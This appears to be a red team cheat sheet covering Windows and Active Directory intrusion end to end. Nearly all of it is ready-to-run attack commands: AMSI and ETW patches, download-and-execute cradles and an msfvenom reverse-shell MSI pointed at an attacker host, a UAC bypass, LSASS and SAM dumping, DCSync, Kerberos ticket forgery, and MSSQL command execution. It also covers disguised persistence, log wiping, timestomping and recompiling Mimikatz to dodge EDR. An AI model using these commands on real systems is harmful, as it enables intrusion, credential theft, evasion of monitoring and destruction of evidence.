Red Team Notes#
Defense Evasion & Bypasses#
PowerShell Execution Policy Bypasses#
Description: Bypasses Windows PowerShell’s execution policy to run scripts.
Primary Method — One-liner Bypass#
powershell.exe -ExecutionPolicy Bypass -Command "Get-Process"
- Executes a single command even if policy is
Restricted
orAllSigned
.
Remote Script Execution (In-Memory)#
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& {IEX ((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>/script.ps1'))}"
- OPSEC: High detection risk. Heavily monitored by AV/EDR.
Persistent Session Bypass#
powershell.exe -ExecutionPolicy Bypass
- Opens a session with policy disabled.
Base64 Encoded Command#
# Encode
$Command = "Get-Process"
$EncodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Command))
Write-Host $EncodedCommand
# Execute
powershell.exe -EncodedCommand <BASE64_COMMAND>
- OPSEC: May evade basic logging, but monitored.
Current Session Scope Policy Change#
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
- Affects only the current session.
AMSI & ETW Bypasses#
Description: AMSI scans scripts before execution; ETW logs PowerShell activity.
In-Memory Patch — AMSI#
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiSession','NonPublic,Static').SetValue($null, $null)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null, [IntPtr]::Zero)
- OPSEC: Effective in-memory, no disk IO.
In-Memory Patch — ETW#
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue(
[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
- OPSEC: Disables tracing for current process only.
Reflective DLL Injection — Patch amsi.dll
#
C# Implementation: See AmsiPatch.cs
.
Execution:
$DllBytes = [IO.File]::ReadAllBytes("C:\temp\AmsiPatch.dll")
$Assembly = [System.Reflection.Assembly]::Load($DllBytes)
$Type = $Assembly.GetType("AmsiBypass")
$Method = $Type.GetMethod("Patch")
$Method.Invoke($null, $null)
- OPSEC: In-memory patching, stealthier than file-based methods.
Application Whitelisting Bypasses (LOLBins)#
Description: Uses trusted Windows binaries for code execution.
MSBuild#
<!-- malicious.csproj -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Run">
<Exec Command="powershell.exe -nop -w hidden -c \"IEX ((New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1'))\"" />
</Target>
</Project>
msbuild.exe C:\temp\malicious.csproj
- OPSEC: Signature trusted, but MSBuild usage should be monitored.
FodHelper (UAC Bypass)#
$regPath="HKCU:\Software\Classes\ms-settings\shell\open\command"
New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name "(default)" -Value "cmd.exe /c powershell.exe -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"
Set-ItemProperty -Path $regPath -Name "DelegateExecute" -Value ""
C:\Windows\System32\fodhelper.exe
# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
- OPSEC: Avoids password prompt; detectable via registry changes.
Rundll32#
rundll32.exe C:\path\to\malicious.dll,ExportedFunctionName
- OPSEC: Requires legitimate DLL export. Commonly monitored.
Initial Access & Reconnaissance#
Host Discovery#
ARP Scan (Local Subnet)#
sudo arp-scan -l
Nmap Ping Scan#
nmap -sn -PR 10.10.10.0/24 -oN nmap_ping_scan.txt
Masscan#
masscan -p80,445,3389 10.10.10.0/24 --rate=1000 -oL masscan_results.txt
Domain Controller Discovery#
Get-ADDomainController -Discover -Service PrimaryDC
nltest /dclist:<DOMAIN_NAME>
nslookup -type=SRV _ldap._tcp.dc._msdcs.<DOMAIN_FQDN>
AS-REP Roasting#
Impacket#
impacket-GetNPUsers <DOMAIN>/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt -dc-ip <DC_IP>
impacket-GetNPUsers <DOMAIN>/<USERNAME> -no-pass -format hashcat -outputfile asrep_hashes.txt -dc-ip <DC_IP>
Rubeus#
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt /format:hashcat /domain:<DOMAIN> /dc:<DC_IP>
Crack Hashes#
hashcat -m 18200 asrep_hashes.txt /path/to/wordlist.txt
john --wordlist=/path/to/wordlist.txt --format=krb5asrep asrep_hashes.txt
File Transfer & Payload Delivery#
PowerShell#
IEX (IWR -Uri http://<ATTACKER_IP>/script.ps1 -UseBasicParsing)
(New-Object Net.WebClient).DownloadFile('http://<ATTACKER_IP>/payload.exe', 'C:\Windows\Temp\payload.exe')
LOLBins#
bitsadmin /transfer myDownloadJob /download /priority normal http://<ATTACKER_IP>/payload.exe C:\Windows\Temp\payload.exe
certutil.exe -urlcache -split -f http://<ATTACKER_IP>/payload.exe C:\Windows\Temp\payload.exe
certutil.exe -urlcache -f http://<ATTACKER_IP>/payload.b64 C:\temp\payload.b64
certutil.exe -decode C:\temp\payload.b64 C:\temp\payload.exe
curl.exe http://<ATTACKER_IP>/payload.exe -o C:\Windows\Temp\payload.exe
wget http://<ATTACKER_IP>/payload.exe -OutFile C:\Windows\Temp\payload.exe
Internal Reconnaissance & Domain Enumeration#
PowerView#
Description: PowerShell tool for detailed Active Directory reconnaissance.
Loading#
# Load from disk
Import-Module .\PowerView.ps1
# Load in memory
IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/PowerView.ps1')
Domain & Policy Information#
Get-NetDomain
Get-NetDomainController
Get-DomainPolicy
User & Group Enumeration#
Get-NetUser | Select-Object samaccountname, description, admincount
Get-NetUser -Identity <USERNAME> -Properties *
Get-NetUser -AdminCount | Select-Object samaccountname
Get-NetGroup "Domain Admins"
Get-NetGroupMember -Identity "Domain Admins"
Computer & Share Enumeration#
Get-NetComputer | Select-Object samaccountname, operatingsystem
Find-DomainShare -Verbose
Find-InterestingDomainShareFile -Include *.psw, *.vmdk, *.config
ACL & Trust Enumeration#
Get-ObjectAcl -SamAccountName <USERNAME> -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs
Get-NetDomainTrust
Get-NetForestTrust
BloodHound#
Description: Graph-based AD enumeration and attack path discovery.
SharpHound Data Collection (Windows)#
.\SharpHound.exe -c All -d <DOMAIN_FQDN> --zipfilename bloodhound_data.zip
.\SharpHound.exe -c All -d <DOMAIN_FQDN> --Stealth --zipfilename bloodhound_stealth.zip
.\SharpHound.exe -c All --domain <DOMAIN> --ldapuser <USER> --ldappass <PASS>
BloodHound.py (Linux)#
bloodhound-python -u <USERNAME> -p '<PASSWORD>' -d <DOMAIN_FQDN> -ns <DC_IP> -c all --zip
bloodhound-python -u <USERNAME> -hashes <LM_HASH>:<NT_HASH> -d <DOMAIN_FQDN> -ns <DC_IP> -c all --zip
Analysis#
sudo neo4j console
./BloodHound --no-sandbox
- Upload ZIP and run queries like “Shortest Paths to Domain Admins”.
NetExec (nxc)#
Description: AD authentication and enumeration framework.
Authentication Examples#
nxc smb <TARGETS> -d <DOMAIN> -u <USER> -p '<PASSWORD>'
nxc smb <TARGETS> -d <DOMAIN> -u <USER> -H <NT_HASH>
Enumeration Examples#
nxc smb <TARGETS> -u <USER> -p '<PASSWORD>' --loggedon-users
nxc smb <TARGETS> -u <USER> -p '<PASSWORD>' --local-auth --admin-count
nxc smb <TARGETS> -u <USER> -p '<PASSWORD>' --shares
Impacket Tools#
Kerberoasting with GetUserSPNs.py#
impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /path/to/wordlist.txt
GetADUsers.py — Enumerate Domain Users#
impacket-GetADUsers -all -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -outputfile domain_users.txt
Local Privilege Escalation#
Techniques to elevate privileges from a standard user to Administrator or SYSTEM.
Automated Enumeration Scripts#
WinPEAS: A comprehensive script for finding privilege escalation vectors.
.\winPEAS.exe cmd fast
PowerUp: Focuses on common misconfigurations.
IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/PowerUp.ps1') Invoke-AllChecks
PrivescCheck:
IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/PrivescCheck.ps1') Invoke-PrivescCheck -Extended
Service-Based Exploitation#
Unquoted Service Paths:
Find:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """"
Check Permissions: Look for write access in a directory with a space in its name (e.g.,
C:\Program Files\Some App\
).icacls "C:\Program Files\Some App\"
Exploit: Place a malicious executable named to match the legitimate application (e.g.,
Some.exe
).Trigger: Restart the service or the machine.
Insecure Service Permissions:
Find: Use
PowerUp
(Get-ModifiableService
) oraccesschk.exe
.Exploit: Reconfigure the service’s binary path to point to your payload.
sc config <SERVICE_NAME> binpath= "C:\Windows\Temp\payload.exe"
Trigger: Stop and start the service.
sc stop <SERVICE_NAME> sc start <SERVICE_NAME>
Registry-Based Exploitation#
AlwaysInstallElevated: If these two registry keys are set to
1
, any user can install.msi
packages withSYSTEM
privileges.Check:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Create Payload:
# Create an MSI that adds a user msfvenom -p windows/x64/adduser USER=pwned PASS=Password123! -f msi -o adduser.msi # Create an MSI for a reverse shell msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f msi -o shell.msi
Execute:
msiexec /quiet /qn /i C:\temp\shell.msi
Lateral Movement#
Moving from one compromised host to another within the network.
PowerShell Remoting (WinRM)#
Basic Usage:
# Create a session $session = New-PSSession -ComputerName <TARGET_SERVER> # Run a command Invoke-Command -Session $session -ScriptBlock { whoami; hostname } # Get an interactive shell Enter-PSSession $session
Using Alternate Credentials:
$cred = Get-Credential $session = New-PSSession -ComputerName <TARGET_SERVER> -Credential $cred Enter-PSSession $session
WMI (Windows Management Instrumentation)#
wmic (from Windows):
wmic /node:<TARGET_SERVER> /user:<USER> /password:<PASSWORD> process call create "powershell.exe -c 'IEX(...)'"
PowerShell:
Invoke-WmiMethod -ComputerName <TARGET_SERVER> -Class Win32_Process -Name Create -ArgumentList "calc.exe" -Credential (Get-Credential)
Impacket (
wmiexec.py
from Linux):# Using password impacket-wmiexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> # Pass-the-Hash impacket-wmiexec -hashes <LM_HASH>:<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>
Scheduled Tasks#
schtasks.exe: Create a task on a remote machine to execute a payload.
# Create task to run at a specific time schtasks /create /S <TARGET_SERVER> /U <DOMAIN\USER> /P <PASSWORD> /SC ONCE /TN "MyTask" /TR "C:\Windows\Temp\payload.exe" /ST 10:00 # Run the task immediately schtasks /run /S <TARGET_SERVER> /U <DOMAIN\USER> /P <PASSWORD> /TN "MyTask" # Delete the task (cleanup) schtasks /delete /S <TARGET_SERVER> /TN "MyTask" /F
Credential Access#
Extracting credentials from compromised systems.
LSASS Memory Dumping#
Dumping the memory of the Local Security Authority Subsystem Service (lsass.exe
) process, which stores credentials.
Procdump (Sysinternals - often less detected):
- Find LSASS PID:
tasklist | findstr lsass.exe
- Dump Memory:
.\procdump.exe -accepteula -ma <LSASS_PID> lsass.dmp
- Transfer
lsass.dmp
offline for parsing.
- Find LSASS PID:
comsvcs.dll (LOLBin):
- Find LSASS PID:
tasklist | findstr lsass.exe
- Dump Memory:
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full
- Transfer
lsass.dmp
offline for parsing.
- Find LSASS PID:
Offline Parsing with Mimikatz or Pypykatz:
# Mimikatz mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" exit # Pypykatz pypykatz lsa minidump lsass.dmp
SAM & SYSTEM Hive Dumping#
Extracts local account hashes. Requires SYSTEM
privileges.
Save Hives:
reg save hklm\sam C:\temp\sam.hiv reg save hklm\system C:\temp\system.hiv
Parse Offline with Impacket:
impacket-secretsdump -sam sam.hiv -system system.hiv LOCAL
DCSync Attack#
Uses replication privileges to request password data from a Domain Controller. Requires Domain Admin equivalent rights.
Impacket (
secretsdump.py
):# Using password impacket-secretsdump -just-dc <DOMAIN>/<USER>:<PASSWORD>@<DC_IP> # To get just the krbtgt hash impacket-secretsdump -just-dc-user <DOMAIN>/krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
Mimikatz (Requires execution on a DC or over remote session):
# Get krbtgt hash lsadump::dcsync /domain:<DOMAIN_FQDN> /user:krbtgt
Over-Pass-the-Hash (Kerberos)#
Uses an NTLM hash to obtain a Kerberos TGT, which can then be used to access resources. More OPSEC-safe than Pass-the-Hash.
Rubeus (Recommended):
# Request a TGT using an RC4 key (NTLM hash) and inject it into the current logon session. .\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /rc4:<NTLM_HASH> /ptt # Verify the ticket is loaded klist
Mimikatz:
privilege::debug sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<NTLM_HASH>
Domain Privilege Escalation#
Kerberoasting#
Description: Abuses SPNs to extract service account hashes from TGS tickets for offline cracking.
Discovery & Exploitation#
# Rubeus
.\Rubeus.exe kerberoast /stats
# PowerView
Get-DomainUser -SPN | Select samaccountname, serviceprincipalname, description
# AD Module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Impacket
impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
Dump & Crack#
.\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes_rc4.txt /format:hashcat
# Crack
hashcat -m 13100 hashes.txt /path/to/wordlist.txt
john --wordlist=/path/to/wordlist.txt --format=krb5tgs hashes.txt
Targeted Kerberoasting#
Set-ADUser -Identity <TARGET_USER> -ServicePrincipalNames @{Add='FakeService/vuln.host'}
.\Rubeus.exe kerberoast /user:<TARGET_USER> /outfile:target_hash.txt /format:hashcat
Set-ADUser -Identity <TARGET_USER> -ServicePrincipalNames @{Remove='FakeService/vuln.host'}
Stealth TGT Harvesting#
Rubeus Monitor Mode#
# On a server with delegation rights
.\Rubeus.exe monitor /interval:3 /filteruser:*
- Use Case: Collects forwarded TGTs silently. Best when running under SYSTEM.
TGT Harvest + Sleep#
.\Rubeus.exe harvest /interval:60 /autoticket /createnetonly:C:\Windows\System32\notepad.exe
- Tactic: Harvest periodically and spawn decoy processes with tickets.
Unconstrained Delegation#
Description: Extract and replay forwarded TGTs from systems with unconstrained delegation.
Discovery#
Get-DomainComputer -Unconstrained
Get-ADComputer -Filter {TrustedForDelegation -eq $True} | Select Name
Exploitation#
# Monitor for TGTs
.\Rubeus.exe monitor /interval:5 /filteruser:<TARGET>
# Coerce auth
.\SpoolSample.exe <DC> <COMPROMISED_SERVER>
.\PetitPotam.exe <COMPROMISED_SERVER_IP> <DC_IP>
# Inject TGT
.\Rubeus.exe ptt /ticket:<BASE64>
AD CS Exploitation#
Description: Exploits vulnerable certificate templates for privilege escalation.
Discovery#
.\Certify.exe cas
.\Certify.exe find /vulnerable
ESC1 (Enrollee Supplies Subject)#
.\Certify.exe request /ca:<CA> /template:<TEMPLATE> /altname:Administrator
openssl pkcs12 -in cert.pem -export -out cert.pfx
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:<PFX_PASSWORD> /ptt
ESC4 (Template ACL Abuse)#
.\Certify.exe find /writeable
.\Certify.exe template /template:<TEMPLATE> /enrolleesuppliessubject:true
.\Certify.exe request /ca:<CA> /template:<TEMPLATE> /altname:Administrator
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:<PFX_PASSWORD> /ptt
ESC8 (NTLM Relay)#
impacket-ntlmrelayx -t http://<ADCS_SERVER>/certsrv/certfnsh.asp -smb2support --adcs
.\PetitPotam.exe <ATTACKER_IP> <DC>
.\Rubeus.exe asktgt /user:<DC>$ /certificate:victim_cert.pfx /password:<PFX_PASSWORD> /ptt
Golden Ticket#
Description: Forged TGT using krbtgt
NTLM hash to impersonate any user.
lsadump::dcsync /user:<DOMAIN>\krbtgt
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<HASH> /id:500 /ptt
Silver Ticket#
Description: Forged TGS for a specific service using a service account hash.
.\Rubeus.exe silver /domain:<DOMAIN> /sid:<SID> /ticketuser:Administrator /service:cifs/<HOST> /rc4:<HASH> /ptt
Diamond Ticket#
Description: Upgrades a real TGT with krbtgt
key to escalate privileges.
.\Rubeus.exe diamond /ticket:<LOW_PRIV.kirbi> /key:<KRBTGT_KEY> /ticketuser:Administrator /ticketuserid:500 /ptt
AdminSDHolder Abuse#
Description: Grants persistent ACL access to protected groups.
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=<DOMAIN>,DC=local" -PrincipalIdentity <PERSIST_USER> -Rights All -Verbose
Cross-Forest & Trust Attacks#
Forest Trust Exploitation#
Description: Uses trust account key to pivot into another forest.
lsadump::dcsync /user:<TARGET_FOREST>$
kerberos::golden /user:Administrator /domain:<CURRENT> /sid:<SID> /rc4:<TRUST_HASH> /sids:<EA_SID> /ptt
MSSQL Linked Server Abuse#
Description: Executes commands via linked SQL servers.
SELECT * FROM master..sysservers;
EXECUTE('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER];
SELECT output FROM OPENQUERY([LINKED_SERVER], 'EXEC xp_cmdshell ''whoami''');
Trust Abuse: MSSQL Servers#
Overview#
Microsoft SQL Servers are high-value targets during internal engagements. Misconfigurations such as database links and over-privileged accounts often enable lateral movement, privilege escalation, and post-exploitation persistence.
Initial Discovery and Enumeration#
Tool: PowerUpSQL
Load PowerUpSQL#
Import-Module .\PowerUpSQL.psd1
Discover SQL Instances#
Get-SQLInstanceDomain | Format-Table -AutoSize
Test Connectivity and Gather Server Info#
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
Enumerate Database Links#
Get-SQLServerLink -Instance <SQL_SERVER_FQDN> -Verbose
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "SELECT * FROM master..sysservers"
OPSEC: Enumeration is low noise unless connections fail frequently. Use verbose flags judiciously.
Link Crawling and Remote Execution#
Concept: Abuse of trusted SQL Server links to pivot or execute OS commands remotely.
Test Linked Server#
SELECT * FROM OPENQUERY("[<LINKED_SERVER_NAME>]", 'SELECT @@version');
Enable xp_cmdshell Remotely#
Requires RPC Out
enabled and sysadmin
on remote.
EXECUTE('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT "[<LINKED_SERVER_NAME>]";
Execute OS Commands Remotely#
-- Basic test
SELECT * FROM OPENQUERY("[<LINKED_SERVER_NAME>]", 'EXEC master..xp_cmdshell ''whoami''');
-- Pull payload
SELECT * FROM OPENQUERY("[<LINKED_SERVER_NAME>]", 'EXEC master..xp_cmdshell ''powershell -c "IEX(New-Object Net.WebClient).DownloadString(\'http://<ATTACKER_IP>/shell.ps1\')"''');
Deep Link Crawling#
SELECT * FROM OPENQUERY("[<FIRST_LINK>]", 'SELECT * FROM OPENQUERY("[<SECOND_LINK>]", ''SELECT @@version'')');
OPSEC: Medium risk. Command execution triggers EDR and logs. Use in-memory, obfuscated payloads.
Advanced MSSQL Techniques#
Impersonation#
SELECT SYSTEM_USER;
SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
REVERT;
CLR Assembly Execution#
-- Enable CLR
sp_configure 'show advanced options', 1; RECONFIGURE;
sp_configure 'clr enabled', 1; RECONFIGURE;
-- Load malicious DLL as hex
CREATE ASSEMBLY my_assembly FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;
-- Link to a stored proc
CREATE PROCEDURE dbo.cmdExec(@cmd NVARCHAR(4000)) AS EXTERNAL NAME my_assembly.StoredProcedures.cmdExec;
-- Execute
EXEC dbo.cmdExec 'whoami';
OPSEC: High risk. CLR usage is uncommon and highly visible. Avoid unless OPSEC permits.
Living Off The Land (LOLBins)#
Regsvr32#
regsvr32 /s /n /u /i:http://<ATTACKER_IP>/payload.sct scrobj.dll
MSHTA#
mshta http://<ATTACKER_IP>/payload.hta
InstallUtil#
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U malicious.exe
OPSEC: Low if properly obfuscated and proxied via LOLBins.
Bypasses: AMSI & ETW#
Disable AMSI (Matt Graeber’s)#
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Disable ETW Logging#
[System.Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Persistence Techniques#
Scheduled Task#
schtasks /create /sc onstart /tn "SystemCheck" /tr "C:\temp\payload.exe" /ru SYSTEM
Registry Run Keys#
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDriveSync" -Value "C:\temp\payload.exe"
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "AdobeUpdater" -Value "C:\temp\payload.exe"
WMI Persistence#
- Create: Event Filter, Consumer, and Binding
OPSEC: Medium-high persistence. Prefer WMI for stealth.
Anti-Forensics & Cleanup#
Clear Logs#
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
Secure Deletion#
sdelete.exe -p 3 -s -z C:\temp\
cipher /w:C:\temp\
Timestomping#
$ref = Get-Item C:\Windows\System32\kernel32.dll
$target = Get-Item C:\temp\payload.exe
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime
EDR Evasion via Source Code Modification#
Concept: Modifying the source code of popular red team tools removes known IOCs, static signatures, and behavioral flags. This section provides examples for Rubeus (C#) and Mimikatz (C), plus general tactics.
String Obfuscation (C#)#
Replace hardcoded strings with runtime-deobfuscated content:
// Before:
if (args[0].ToLower() == "asktgt") {
// code
}
// After:
string dec = Encoding.UTF8.GetString(Convert.FromBase64String("YXNrdGd0"));
if (args[0].ToLower() == dec) {
// code
}
API Resolution via Hashing (C#)#
Avoid static API imports. Instead resolve function pointers using hashes:
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string dllName);
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
IntPtr handle = LoadLibrary("kernel32.dll");
IntPtr ptr = GetProcAddress(handle, "CreateRemoteThread");
Then hash and resolve function names at runtime.
Function & Namespace Renaming#
Randomize or misleadingly rename function/method names and namespaces:
namespace Microsoft.Diagnostics.Telemetry {
class UpdateEngine {
public static void StartTelemetry() {
// original offensive logic
}
}
}
Modify Assembly Metadata#
[assembly: AssemblyTitle("Windows Audio Service")]
[assembly: AssemblyDescription("Manages audio devices")]
[assembly: AssemblyCompany("Microsoft Corporation")]
Junk Control Flow / Anti-analysis#
Insert opaque predicates and dead code:
if ((42 * 42) >= 0) {
// real payload logic
} else {
// never executed
Console.WriteLine("Error: 0xDEADCAFE");
}
Evasion: Mimikatz (C)#
Obfuscate Wide Strings#
Replace:
wchar_t *command = L"sekurlsa::logonpasswords";
With:
wchar_t *command = Decrypt(L"\x3f\x22\x1a\x00...");
Use a simple XOR-based Decrypt()
function.
Function Table Renaming#
Update:
{"sekurlsa::logonpasswords", kuhl_m_sekurlsa_logonpasswords, ...}
To:
{"sysauth::enum", cmd_sysauth_enum, ...}
Resource Metadata Spoofing (.rc)#
VALUE "FileDescription", "NVIDIA Display Driver Service"
VALUE "ProductName", "NVIDIA Drivers"
VALUE "CompanyName", "NVIDIA Corporation"
Compilation & Testing#
- Compile: Build in
Release
mode, disable debug symbols. - Strip Artifacts: Use tools like
peclone
,peclean
, ordonut
for shellcode embedding. - Scan: Test with
DefenderCheck
orThreatCheck
. - Live Test: Use a sacrificial VM with active EDR (CrowdStrike, Defender ATP).
- Iterate: Adjust based on behavioral telemetry and signature alerts.
OPSEC Summary:
- Modify offensive tools before engagement.
- Maintain source control with internal codenames.
- Never reuse the same binary across engagements.
- Always verify EDR response pre-deployment.